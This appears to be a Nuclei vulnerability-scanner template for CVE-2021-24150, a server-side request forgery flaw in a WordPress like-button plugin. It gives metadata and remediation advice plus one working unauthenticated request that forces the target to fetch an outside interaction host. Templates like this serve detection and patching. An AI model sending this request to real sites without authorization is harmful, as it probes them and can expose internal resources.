id: CVE-2021-24150

info:
  name: WordPress Like Button Rating <2.6.32 - Server-Side Request Forgery
  author: theamanrawat
  severity: high
  description: |
    WordPress Like Button Rating plugin before 2.6.32 is susceptible to server-side request forgery. An attacker can obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to make requests to internal resources, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Update the WordPress Like Button Rating plugin to version 2.6.32 or later.
  reference:
    - https://wpscan.com/vulnerability/6bc6023f-a5e7-4665-896c-95afa5b638fb
    - https://wordpress.org/plugins/likebtn-like-button/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24150
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24150
    cwe-id: CWE-918
    epss-score: 0.04337
    epss-percentile: 0.90233
    cpe: cpe:2.3:a:likebtn-like-button_project:likebtn-like-button:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: likebtn-like-button_project
    product: likebtn-like-button
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,wp,ssrf,wpscan,unauth,likebtn-like-button,likebtn-like-button_project,vuln

http:
  - raw:
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?action=likebtn_prx&likebtn_q={{base64('http://likebtn.com.oast.me')}}" HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Interactsh Server"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008bf673e709d50b9426cc43b2ff76d2e38fe2331ce1642321749f98b15f14902202204052bc6f308da58a2eb1b8442c4fd5d451a15bad5e5fe437156a584187120014:922c64590222798bb761d5b6d8e72950